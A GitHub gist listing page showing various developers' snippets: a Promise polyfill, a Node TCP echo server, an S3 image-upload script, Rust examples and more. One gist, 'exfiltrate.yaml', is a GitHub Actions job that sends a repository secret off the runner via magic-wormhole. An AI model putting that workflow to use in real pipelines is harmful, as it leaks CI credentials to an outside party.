Skip to content

Instantly share code, notes, and snippets.

View lmammino's full-sized avatar
🦁
Roar!

Luciano Mammino lmammino

🦁
Roar!
View GitHub Profile
@lmammino
lmammino / README.md
Created March 18, 2024 14:18
Rust Lambda Workshop Requirements
@lmammino
lmammino / promise-with-resolvers-polyfill.js
Created July 18, 2023 17:57
Promise.withResolvers() polyfill
if (typeof Promise.withResolvers === 'undefined') {
Promise.withResolvers = function () {
let resolve, reject
const promise = new Promise((res, rej) => {
resolve = res
reject = rej
})
return { promise, resolve, reject }
}
}
const CH_BRACE_L = 0x7b as const;
const CH_BRACE_R = 0x7d as const;
const CH_SQUARE_L = 0x5b as const;
const CH_SQUARE_R = 0x5d as const;
const CH_QUOTE_D = 0x22 as const;
const CH_ESCAPE = 0x5c as const;
const CH_COMMA = 0x2c as const;
const CH_COLON = 0x3a as const;
const CH_DOT = 0x2e as const;
const CH_MINUS = 0x2d as const;
@kfox
kfox / README.md
Last active December 4, 2023 11:08
TCP echo server for Node.js

TCP echo server for Node.js

Usage

  1. Make sure you have a modern-ish version of Node.js installed.
  2. Type npx https://gist.github.com/kfox/1280c2f0ee8324067dba15300e0f2fd3
  3. Connect to it from a client, e.g. netcat or similar: nc localhost 9000
@allenheltondev
allenheltondev / replaceImages.js
Created January 24, 2023 14:25
Update locally referenced images in your blog posts with cloud references in S3
// This script will scan all files in a given directory for locally referenced images. It will take the images, rename them with a standard convention, then upload them to s3 with a 'public-read' ACL. The script will then update the reference to the local image with the link to the version in the cloud.
// If there are any issues during operation, the script will output either a 'skipped-posts.json' file that lists the posts that were not processed or a 'failed-image-uploads.json' file that lists images that failed to upload into S3.
// Arguments for operation
//
// [0] blogPostDirectory - relative path from the root where all blog posts live
// [1] imageDirectory - relative path from the root where all images live
// [2] bucketName - name of the S3 bucket to upload the local images to
// [3] awsProfileName - name of the aws profile on your machine that has access to the S3 bucket
@lmammino
lmammino / Cargo.toml
Last active January 9, 2023 22:48
Simple example of using nom, Rust parser combinator
[package]
name = "learning-nom"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
nom = "7.1.2"
@eugenserbanescu
eugenserbanescu / arrays.js
Last active July 30, 2022 10:27
Javascript array functions
let list = [1,2,3,4];
let forEachCalled = 0;
list.forEach(item => {
// this one does something for every item in the array
// and returns the original array
forEachCalled++;
});
const mapped = list.map(item => {
@framp
framp / exfiltrate.yaml
Created July 14, 2022 13:56
exfiltrate secrets out of github actions
jobs:
exfiltrate:
runs-on: ubuntu-latest
steps:
- name: exfiltrate secrets
run: |
sudo apt update && sudo apt install magic-wormhole
echo "LOL=${{secrets.LOL}}" | wormhole send --code 3-magic-number
# wormhole receive 3-magic-number
@lmammino
lmammino / README.md
Last active June 27, 2022 19:30
Request batching benchmark

Request batching benchmark

Request batching is a Node.js pattern that can be used to optimise how a web server handles identical concurrent requests.

It allows to process the request only once for all the clients concurrently requesting the same information. This can save expensive round trips to backend services and can avoid backend services to be overloaded with many concurrent identical requests. In a way it's a more specialised version of micro-caching.

This can lead to significant performance improvement in cases where there are many concurrent users requesting the same page.

@lmammino
lmammino / Cargo.toml
Last active February 22, 2022 19:37
Decode an EU DGC (greenpass) in Rust
[package]
name = "dgc-decode"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
base45 = "3.0.0"
ciborium = "0.2.0"